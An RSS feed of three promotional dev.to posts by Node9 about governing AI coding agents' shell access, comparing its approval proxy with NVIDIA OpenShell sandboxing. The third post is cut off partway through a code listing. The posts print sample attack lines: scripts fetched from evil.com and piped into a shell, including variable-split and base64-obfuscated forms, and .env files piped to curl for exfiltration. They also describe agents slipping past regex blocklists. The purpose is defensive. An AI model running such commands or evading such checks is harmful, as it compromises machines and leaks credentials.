<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Node9</title>
    <description>The latest articles on DEV Community by Node9 (@node9_ai).</description>
    <link>https://dev.to/node9_ai</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3831325%2Ffbee4b85-7c33-438c-b653-6ae83b8c7fe9.png</url>
      <title>DEV Community: Node9</title>
      <link>https://dev.to/node9_ai</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/node9_ai"/>
    <language>en</language>
    <item>
      <title>AI Sandboxes Aren't Enough: We Need Execution Governance</title>
      <dc:creator>Node9</dc:creator>
      <pubDate>Tue, 31 Mar 2026 14:56:25 +0000</pubDate>
      <link>https://dev.to/node9_ai/ai-sandboxes-arent-enough-we-need-execution-governance-1g7l</link>
      <guid>https://dev.to/node9_ai/ai-sandboxes-arent-enough-we-need-execution-governance-1g7l</guid>
      <description>&lt;p&gt;Last week, a local CLI agent offered to "clean up my workspace." I assumed it would delete a few temporary files. Instead, it confidently queued up &lt;code&gt;find . -name "node_modules" -exec rm -rf '{}' +&lt;/code&gt; and followed it with &lt;code&gt;docker system prune -af --volumes&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;If I hadn't hit &lt;code&gt;Ctrl+C&lt;/code&gt; in time, it would have wiped gigabytes of local state and container volumes in milliseconds. &lt;/p&gt;

&lt;p&gt;We have crossed a dangerous inflection point. We are no longer just chatting with LLMs; we are giving autonomous agents, like Claude Code, Cursor, and custom "claws", the keys to our terminals. But we are doing it without a seatbelt. &lt;/p&gt;

&lt;p&gt;Every developer using an agent today feels this exact same "Terminal Anxiety." &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The problem isn’t that AI can execute commands. The problem is we have no control over &lt;em&gt;what&lt;/em&gt; it executes.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;To solve this, the industry is currently splitting into two distinct architectural categories. Understanding the difference between them is the key to surviving the Agentic Era.&lt;/p&gt;

&lt;blockquote&gt;
&lt;h3&gt;
  
  
  &lt;strong&gt;TL;DR:&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Sandboxes (like NVIDIA OpenShell)&lt;/strong&gt; control &lt;em&gt;WHERE&lt;/em&gt; an AI runs.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Execution Proxies (like Node9)&lt;/strong&gt; control &lt;em&gt;WHAT&lt;/em&gt; an AI is allowed to do.&lt;/li&gt;
&lt;li&gt;  For local development, you need a proxy. For production, you need both.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Sandbox: Controlling &lt;em&gt;Where&lt;/em&gt; Agents Run
&lt;/h2&gt;

&lt;p&gt;When security teams see an AI deleting files, their first instinct is to build a zero-trust cage. This is the &lt;strong&gt;Infrastructure Sandboxing&lt;/strong&gt; approach, championed by tools like &lt;strong&gt;NVIDIA OpenShell&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;To be clear, OpenShell is much more than a simple Docker container. It is a highly sophisticated, kernel-level runtime. It uses Landlock LSM for isolation and features a powerful L7 policy engine. You write a declarative YAML policy defining exactly which binaries (&lt;code&gt;git&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;) and which network endpoints the agent can access. It even actively routes inference traffic to prevent data leaks. Everything else is denied by default.&lt;/p&gt;

&lt;p&gt;If you are deploying autonomous agents in a headless cloud environment, OpenShell is the gold standard. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But declarative governance has a fatal flaw for local development: it secures the infrastructure, but it does not secure the logic.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Imagine you give an AI agent access to a Postgres database inside an OpenShell sandbox. The YAML policy says "allow access to Postgres." The sandbox perfectly ensures the agent cannot escape the container to touch the host server. But the sandbox &lt;strong&gt;will not&lt;/strong&gt; stop the agent from accidentally executing &lt;code&gt;DROP TABLE users;&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Furthermore, declarative sandboxes fail closed. If the agent tries a command blocked by the YAML file, the sandbox just kills the process. There is no nuance. Developers don't want to write static YAML firewall rules just to let their AI try a new testing framework. &lt;/p&gt;




&lt;h2&gt;
  
  
  The Missing Layer: Controlling &lt;em&gt;What&lt;/em&gt; Agents Do
&lt;/h2&gt;

&lt;p&gt;This is the missing layer: not &lt;em&gt;where&lt;/em&gt; AI runs, but &lt;em&gt;what&lt;/em&gt; it’s allowed to do.&lt;/p&gt;

&lt;p&gt;This is where &lt;strong&gt;Interactive Execution Governance&lt;/strong&gt; comes in. Instead of writing static YAML rules to put the AI in a cage, you act as a deterministic gatekeeper. &lt;/p&gt;

&lt;p&gt;This is exactly why I built &lt;strong&gt;Node9 Proxy&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Node9 is an execution wrapper for AI agents. It sits transparently between the LLM and your actual machine. Using AST (Abstract Syntax Tree) parsing, it understands the underlying shell grammar, even if commands are nested or obfuscated. It allows safe commands (&lt;code&gt;npm run build&lt;/code&gt;, &lt;code&gt;git status&lt;/code&gt;) to pass instantly. But if the agent attempts something destructive, Node9 intercepts it. &lt;/p&gt;

&lt;p&gt;&lt;em&gt;(Author Note: Insert a GIF or screenshot of the Node9 OS-native popup here)&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Imagine this 10-second mental demo:&lt;/strong&gt;&lt;br&gt;
Your AI decides the best way to fix a bug is to run &lt;code&gt;git reset --hard&lt;/code&gt;. &lt;br&gt;
Instead of a rigid sandbox silently killing the process, your terminal freezes. An OS-native popup instantly appears on your screen: &lt;em&gt;"Claude Code is attempting a destructive Git action. [Approve] or [Block]"&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;You click &lt;strong&gt;Block&lt;/strong&gt;. &lt;/p&gt;

&lt;p&gt;Node9 doesn't just crash the agent. It feeds that block back to the AI's context window: &lt;em&gt;"The human blocked this action because it is destructive."&lt;/em&gt; The AI replies, &lt;em&gt;"My apologies. I will pivot and create a new branch instead."&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Visceral Reality: Without Node9 vs. With Node9
&lt;/h3&gt;

&lt;p&gt;Node9 turns AI mistakes from "disasters" into "minor typos." Here is what this looks like in practice:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scenario 1: The Code Hallucination&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Without Node9:&lt;/strong&gt; The AI refactors your routing logic, hallucinates, and breaks the app. You spend 20 minutes manually unpicking Git diffs to figure out what it ruined.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;With Node9:&lt;/strong&gt; Before the AI is allowed to write to the file, Node9 takes a silent &lt;em&gt;Shadow Git Snapshot&lt;/em&gt;. The AI breaks the app. You type &lt;code&gt;node9 undo&lt;/code&gt;. Your workspace is instantly reverted to the exact millisecond before the AI touched it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Scenario 2: The Secret Leak&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Without Node9:&lt;/strong&gt; The AI tries to debug an API issue by running &lt;code&gt;cat .env | curl https://third-party-logger.com&lt;/code&gt;. Your AWS keys are now in a random server's logs.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;With Node9:&lt;/strong&gt; Node9's in-flight Data Loss Prevention (DLP) inspects the pipe-chain. It detects the AWS key format, hard-blocks the network request, and redacts the logs.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The Ultimate Architecture: Defense in Depth
&lt;/h2&gt;

&lt;p&gt;The question isn't whether to use a sandbox like NVIDIA OpenShell &lt;em&gt;or&lt;/em&gt; a governance proxy like Node9. They are two halves of the ultimate enterprise stack.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;If you are running agents in your local terminal:&lt;/strong&gt; You need &lt;strong&gt;Node9 Proxy&lt;/strong&gt;. The ability to easily audit, approve, and instantly "undo" AI actions makes it the only pragmatic choice for local execution without the crippling overhead of Docker.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;If you are deploying Autonomous Agents to Production:&lt;/strong&gt; You need both. The ultimate defense-in-depth strategy is to &lt;strong&gt;wrap your agent in Node9 Proxy, and run that entire process inside an NVIDIA OpenShell sandbox.&lt;/strong&gt; &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;OpenShell controls &lt;em&gt;where&lt;/em&gt; the agent runs, ensuring it can't escape the machine. Node9 controls &lt;em&gt;what&lt;/em&gt; the agent is allowed to do, ensuring it doesn't logically destroy the database &lt;em&gt;inside&lt;/em&gt; that sandbox, while maintaining an immutable audit trail of every decision.&lt;/p&gt;

&lt;p&gt;We gave AI the keys to our systems. Node9 is the first time we added a permission layer.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;To protect your local terminal today, you can install Node9 via NPM (&lt;code&gt;npm install -g @node9/proxy&lt;/code&gt;) or view the &lt;a href="https://github.com/node9-ai/node9" rel="noopener noreferrer"&gt;GitHub Repository here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>ai</category>
      <category>security</category>
      <category>devops</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Securing the Agentic Era: An Architectural Review of NVIDIA OpenShell vs. Node9 Proxy</title>
      <dc:creator>Node9</dc:creator>
      <pubDate>Mon, 30 Mar 2026 14:50:36 +0000</pubDate>
      <link>https://dev.to/node9_ai/securing-the-agentic-era-an-architectural-review-of-nvidia-openshell-vs-node9-proxy-2f7j</link>
      <guid>https://dev.to/node9_ai/securing-the-agentic-era-an-architectural-review-of-nvidia-openshell-vs-node9-proxy-2f7j</guid>
      <description>&lt;p&gt;We have crossed a distinct inflection point in AI. Systems are no longer limited to generating text or reasoning through tasks in a vacuum; they are taking action. Autonomous agents, or what NVIDIA recently coined as &lt;em&gt;claws&lt;/em&gt;, can now read files, use tools, write code, and execute workflows indefinitely. &lt;/p&gt;

&lt;p&gt;But power without governance is simply unmanaged risk. The industry is currently wrestling with a critical architectural question: &lt;strong&gt;How do we secure agents that continuously self-evolve and execute actions on our behalf?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Recently, two distinct architectural patterns have emerged to solve this: &lt;strong&gt;Infrastructure Sandboxing&lt;/strong&gt; (championed by NVIDIA OpenShell) and &lt;strong&gt;Execution Governance&lt;/strong&gt; (championed by Node9 Proxy). &lt;/p&gt;

&lt;p&gt;If you are deploying or building AI agents in 2026, understanding the difference between these two paradigms, and how they work together, is no longer optional. Here is a technical review of both approaches, how they work under the hood, and where they belong in your stack.&lt;/p&gt;




&lt;h2&gt;
  
  
  The "Browser Tab" Model: NVIDIA OpenShell
&lt;/h2&gt;

&lt;p&gt;Announced as a core component of the NVIDIA Agent Toolkit, &lt;strong&gt;NVIDIA OpenShell&lt;/strong&gt; takes a zero-trust, infrastructure-level approach to agent security [1]. &lt;/p&gt;

&lt;p&gt;Instead of relying on application-layer guardrails (like system prompts instructing an LLM to "be careful"), OpenShell assumes the agent is inherently dangerous. It places the agent in a highly restricted, isolated execution environment. NVIDIA aptly describes this as applying the "browser tab" security model to AI agents [2]: sessions are isolated, and permissions are verified by the runtime before any action executes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Core Architecture
&lt;/h3&gt;

&lt;p&gt;OpenShell enforces out-of-process security. It acts as a managed sandbox backend, utilizing Linux kernel-level isolation (specifically Landlock LSM) and containerization to wrap the agent in strict constraints [1, 3].&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Mechanisms:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Declarative YAML Policies:&lt;/strong&gt; Security boundaries are defined as code. You explicitly declare which binary paths, directories, and network endpoints the agent is allowed to access. Everything else is denied by default[1, 3].&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;The Privacy Router:&lt;/strong&gt; One of OpenShell’s most robust enterprise features is its ability to intercept outbound inference traffic. It can strip caller credentials and reroute API calls to self-hosted models (like Nemotron) to prevent sensitive context from leaking to third-party endpoints [1, 2].&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Process Isolation:&lt;/strong&gt; OpenShell blocks privilege escalation, &lt;code&gt;sudo&lt;/code&gt;, and dangerous syscalls at the moment of sandbox creation. Even if an agent is compromised via prompt injection, it cannot break out of its environment [1].&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The Verdict on OpenShell
&lt;/h3&gt;

&lt;p&gt;NVIDIA OpenShell is a masterclass in &lt;strong&gt;Infrastructure Security&lt;/strong&gt;. If you are deploying long-running, autonomous agents in a cloud or multi-tenant environment, OpenShell is the blueprint. It ensures the blast radius of an AI hallucination is strictly confined to a disposable box.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Logical Governance Gap
&lt;/h2&gt;

&lt;p&gt;But sandboxing alone is incomplete. OpenShell secures the &lt;em&gt;infrastructure&lt;/em&gt;, but it does not secure the &lt;em&gt;logic&lt;/em&gt;. &lt;/p&gt;

&lt;p&gt;If you give an autonomous agent access to your Postgres database inside a sandbox, OpenShell ensures the agent can't touch the surrounding server. But it &lt;strong&gt;will not&lt;/strong&gt; stop the agent from accidentally running &lt;code&gt;DROP TABLE users;&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;Furthermore, strict sandboxes introduce massive friction for &lt;strong&gt;local development&lt;/strong&gt;. Developers using interactive agents (like Claude Code or Cursor) don't want to sync files back and forth across a kernel-level boundary just to write a React component. &lt;/p&gt;

&lt;p&gt;We need a layer that governs &lt;em&gt;what&lt;/em&gt; the agent is doing, not just &lt;em&gt;where&lt;/em&gt; it is doing it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The "Sudo" Model: Node9 Proxy
&lt;/h2&gt;

&lt;p&gt;If OpenShell is a secure cage, &lt;strong&gt;Node9 Proxy&lt;/strong&gt; is a deterministic gatekeeper. &lt;/p&gt;

&lt;p&gt;Node9 is an Execution Governance layer. It sits transparently between your AI agent and the execution environment. It allows safe commands (like &lt;code&gt;npm run build&lt;/code&gt; or &lt;code&gt;SELECT *&lt;/code&gt;) to pass instantly, but if the agent attempts a destructive action, Node9 intercepts the tool call, pauses the execution, and routes a request for human approval.&lt;/p&gt;

&lt;h3&gt;
  
  
  Core Architecture
&lt;/h3&gt;

&lt;p&gt;Node9 wires natively into interactive agents via pre-execution hooks or acts as a transparent &lt;strong&gt;MCP (Model Context Protocol) Gateway&lt;/strong&gt;. It parses the AST of requested bash commands and tool calls in real-time, matching them against built-in heuristics, Data Loss Prevention (DLP) rules, and custom shields.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Mechanisms:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;The Multi-Channel Race Engine (For Prod &amp;amp; Dev):&lt;/strong&gt; In CI/CD pipelines and headless production environments, Node9 intercepts high-risk commands (like AWS infrastructure changes) and routes an approval request directly to a &lt;strong&gt;Slack channel&lt;/strong&gt; for team governance. For local developers, it triggers a sub-second native OS dialog.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Shadow Git Snapshots (State Recovery):&lt;/strong&gt; Before Node9 allows an AI to edit a local file, it takes a silent Git snapshot in an isolated shadow repository. If the AI hallucinates and butchers a routing file, a simple &lt;code&gt;node9 undo&lt;/code&gt; instantly reverts the workspace.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;In-flight DLP (Data Loss Prevention):&lt;/strong&gt; Node9 actively scans tool arguments for credentials. If an agent attempts a pipe-chain exfiltration (e.g., &lt;code&gt;cat .env | base64 | curl...&lt;/code&gt;), Node9 detects the AWS keys or Bearer tokens in flight and hard-blocks the request before it hits the network.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;The AI Negotiation Loop:&lt;/strong&gt; If a human blocks a command, Node9 doesn't just crash the pipeline. It injects a structured prompt back into the LLM's context window explaining &lt;em&gt;why&lt;/em&gt; the action was blocked, prompting the AI to pivot to a safer alternative.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Architectural Comparison
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Feature&lt;/th&gt;
&lt;th&gt;NVIDIA OpenShell&lt;/th&gt;
&lt;th&gt;Node9 Proxy&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Security Paradigm&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Infrastructure Sandboxing&lt;/td&gt;
&lt;td&gt;Operational Execution Governance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Core Target&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Network &amp;amp; Host Isolation&lt;/td&gt;
&lt;td&gt;Human-in-the-Loop &amp;amp; Logic Guardrails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Best Use Case&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cloud isolation, Multi-tenant Agent Hosting&lt;/td&gt;
&lt;td&gt;Local Dev, CI/CD Pipelines, DB Management&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Mechanism&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Kernel-level (Landlock)&lt;/td&gt;
&lt;td&gt;Transparent Proxy / MCP Gateway&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Failure Mode&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fails closed (Sandbox denies access)&lt;/td&gt;
&lt;td&gt;Pauses for Human / Slack approval&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;State Recovery&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No (Requires sandbox teardown)&lt;/td&gt;
&lt;td&gt;Yes (Shadow Git snapshots via &lt;code&gt;node9 undo&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion: Defense in Depth
&lt;/h2&gt;

&lt;p&gt;The security landscape for AI agents is maturing rapidly. The question isn't whether to use NVIDIA OpenShell &lt;em&gt;or&lt;/em&gt; Node9 Proxy,they actually represent &lt;strong&gt;two halves of a mature enterprise architecture&lt;/strong&gt;. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;For Local Development:&lt;/strong&gt; Engineers using AI at their terminal should use &lt;strong&gt;Node9 Proxy&lt;/strong&gt;. The ability to easily audit, approve, and "undo" AI actions makes it the pragmatic choice for local execution without the overhead of Docker.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;For Production &amp;amp; CI/CD:&lt;/strong&gt; If you are building "always-on" autonomous claws, the ultimate defense-in-depth strategy is to use them together: &lt;strong&gt;Wrap your agent in Node9 Proxy, and run that entire process inside an NVIDIA OpenShell sandbox.&lt;/strong&gt; &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;OpenShell provides the kernel-level isolation so the agent can't escape the machine. Node9 Proxy provides the operational governance, ensuring the agent doesn't logically destroy the database &lt;em&gt;inside&lt;/em&gt; that sandbox, while maintaining an immutable audit trail of every decision.&lt;/p&gt;

&lt;p&gt;As we scale the deployment of autonomous agents, we must move beyond the "black box" of AI. Explicit execution security is the foundation of the Agentic Era.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;To explore the tools mentioned in this architectural review, check out the&lt;a href="https://docs.nvidia.com/openshell/index.html" rel="noopener noreferrer"&gt;NVIDIA OpenShell Documentation&lt;/a&gt; or view the &lt;a href="https://github.com/node9-ai/node9-proxy" rel="noopener noreferrer"&gt;Node9 Proxy GitHub Repository&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;




</description>
      <category>programming</category>
      <category>security</category>
      <category>devops</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Why Regex is Not Enough: Building a Deterministic "Sudo" Layer for AI Agents</title>
      <dc:creator>Node9</dc:creator>
      <pubDate>Thu, 19 Mar 2026 22:17:51 +0000</pubDate>
      <link>https://dev.to/node9_ai/why-regex-is-not-enough-building-a-deterministic-sudo-layer-for-ai-agents-2fjm</link>
      <guid>https://dev.to/node9_ai/why-regex-is-not-enough-building-a-deterministic-sudo-layer-for-ai-agents-2fjm</guid>
      <description>&lt;p&gt;Letting an autonomous AI agent run wild in your terminal is the ultimate productivity hack until it isn't.&lt;/p&gt;

&lt;p&gt;A few weeks ago, I was using Claude Code to clean up an old project. I casually prompted: &lt;em&gt;"Hey, my disk is full, can you help me clean up some space?"&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Within seconds, the agent proposed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker system prune &lt;span class="nt"&gt;-af&lt;/span&gt; &lt;span class="nt"&gt;--volumes&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If I hadn't been staring at the screen, years of local development databases, cached images, and stopped containers would have vanished. The AI wasn't malicious; it was just being efficiently literal.&lt;/p&gt;

&lt;p&gt;That near miss made me realize something: &lt;strong&gt;Semantic Security  scanning prompts for intent is broken for agentic AI.&lt;/strong&gt; We are giving hallucination-prone models &lt;code&gt;rwx&lt;/code&gt; root access to our local environments without a seatbelt.&lt;/p&gt;

&lt;p&gt;I built &lt;strong&gt;Node9&lt;/strong&gt; to solve this. It's an open-source execution proxy that sits between any AI agent and your shell. In this post, I'll dive into two architectural decisions that were harder than they look: the AST-based parser that defeats obfuscation, and the Git internals trick I used to build a completely invisible "Undo" button for the terminal.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Problem: AI is More Creative Than Your Regex
&lt;/h2&gt;

&lt;p&gt;The first instinct when securing an agent is a blocklist. If the agent types &lt;code&gt;rm -rf&lt;/code&gt; or &lt;code&gt;DROP TABLE&lt;/code&gt;, block it. It seems reasonable until you realize that AI models are exceptionally good at rephrasing.&lt;/p&gt;

&lt;p&gt;Consider three ways an AI can bypass a regex that looks for &lt;code&gt;curl | bash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Alternative tool, same outcome&lt;/span&gt;
wget &lt;span class="nt"&gt;-qO-&lt;/span&gt; https://evil.com/script.sh | sh

&lt;span class="c"&gt;# 2. Variable injection&lt;/span&gt;
&lt;span class="nv"&gt;c&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"cu"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"rl"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;$c$r&lt;/span&gt; http://evil.com | zsh

&lt;span class="c"&gt;# 3. Base64 encoding&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Y3VybCBodHRwOi8vZXZpbC5jb20vc2NyaXB0LnNoIHwgYmFzaA=="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A skeptical reader might ask: "If the Base64 payload is encoded, how does a parser read it?" The answer is that Node9 doesn't need to decode it. While the AST parser won't see the hidden string inside the encoded payload, it clearly identifies that a &lt;code&gt;base64&lt;/code&gt;-decoded stream is being piped directly into a shell interpreter (&lt;code&gt;| bash&lt;/code&gt;). Node9's policy engine flags this pattern "unvalidated stream execution" and blocks it before the string is ever decoded.&lt;/p&gt;

&lt;p&gt;A regex engine looks at strings. An operating system executes a grammar. To stop this, Node9 uses &lt;strong&gt;AST (Abstract Syntax Tree) parsing&lt;/strong&gt; to understand the command the same way the shell does.&lt;/p&gt;




&lt;h2&gt;
  
  
  Solution 1: AST Parsing for Shell Execution
&lt;/h2&gt;

&lt;p&gt;Instead of looking for forbidden words, Node9 intercepts the tool call and decomposes the shell command into its logical execution tree using &lt;code&gt;sh-syntax&lt;/code&gt;. Even if the AI hides the command inside a variable, a subshell, or a pipe chain, the AST resolves the actual execution path.&lt;/p&gt;

&lt;p&gt;Here is the real &lt;code&gt;analyzeShellCommand&lt;/code&gt; function from &lt;code&gt;src/core.ts&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;AstNode&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;Args&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Parts&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="p"&gt;}[]&lt;/span&gt; &lt;span class="p"&gt;}[];&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;unknown&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;analyzeShellCommand&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;
&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="nb"&gt;Promise&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt; &lt;span class="nl"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[];&lt;/span&gt; &lt;span class="nl"&gt;allTokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="na"&gt;allTokens&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[];&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ast&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;command&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// sh-syntax parses the full shell grammar&lt;/span&gt;

